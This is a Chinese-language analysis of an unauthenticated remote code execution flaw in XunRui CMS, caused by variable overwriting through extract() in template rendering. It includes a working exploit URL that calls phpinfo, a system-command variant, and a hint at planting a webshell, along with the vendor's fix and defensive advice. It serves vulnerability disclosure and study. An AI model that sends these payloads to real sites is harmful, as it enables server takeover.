某cms 前台RCE漏洞分析
字数 1164 2025-08-05 08:19:32
迅睿CMS前台RCE漏洞分析与利用
漏洞概述
迅睿CMS存在一个前台远程代码执行(RCE)漏洞,攻击者无需登录即可通过精心构造的请求在目标服务器上执行任意PHP代码。该漏洞源于模板渲染过程中的变量覆盖问题,结合动态控制器调用机制,最终导致代码执行。
漏洞分析
1. 入口点分析
迅睿CMS通过s参数控制访问的控制器目录,攻击者可以通过以下方式调用API控制器:
index.php?s=api&c=xxx
2. 关键漏洞点
模板渲染机制:
- API控制器的
template方法可以动态调用模板 - 通过GET参数控制三个关键参数:
name:模板文件名phpcmf_dir:模板目录app:应用名称
变量覆盖漏洞:
- 系统使用
extract()函数处理模板参数,导致变量覆盖 $this->_options中的值可以通过GET参数控制- 类型为覆盖原有值(EXTR_OVERWRITE)
模板文件解析:
- 系统会在以下目录寻找模板文件:
/dayrui/App/[$app]/Views/[$phpcmf_dir]/[$name].html - 文件名不能包含
/,限制了目录穿越
3. 漏洞利用链
- 通过
api_related.html模板文件触发漏洞 - 模板中调用
$this->related()方法 - 方法内部使用
call_user_func_array()函数 - 通过参数构造实现代码执行
漏洞利用
基本利用Payload
http://target.com/index.php?s=api&c=api&m=template&app=admin&name=api_related.html&phpcmf_dir=admin&mid=%20action=function%20name=phpinfo%20param0=-1
参数说明
s=api:指定API模块c=api:指定API控制器m=template:调用模板方法app=admin:指定admin应用name=api_related.html:指定要渲染的模板文件phpcmf_dir=admin:指定模板目录mid:包含恶意参数:action=function:覆盖原有action值name=phpinfo:指定要执行的函数param0=-1:函数参数
高级利用
-
执行系统命令:
&mid=%20action=function%20name=system%20param0=calc -
写入Webshell:
结合php://filter等PHP包装器可以写入Webshell
漏洞修复
厂商修复方案:
- 修改
extract()函数的类型,设置为跳过已有变量 - 移除
$phpcmf_dir参数的可控性
修复commit:
https://gitee.com/dayrui/xunruicms/commit/80e2d8f3008384d926c64163b7334a260edc0a51
防御建议
- 及时更新到最新版本
- 避免在生产环境使用存在漏洞的版本
- 对用户输入进行严格过滤
- 避免使用
extract()函数或设置安全模式
总结
该漏洞利用链清晰,危害性高,攻击者无需认证即可实现远程代码执行。漏洞的核心在于模板渲染过程中的变量覆盖问题,结合动态控制器调用机制,最终导致代码执行。厂商反应迅速,在漏洞报告后20分钟内即发布了修复补丁。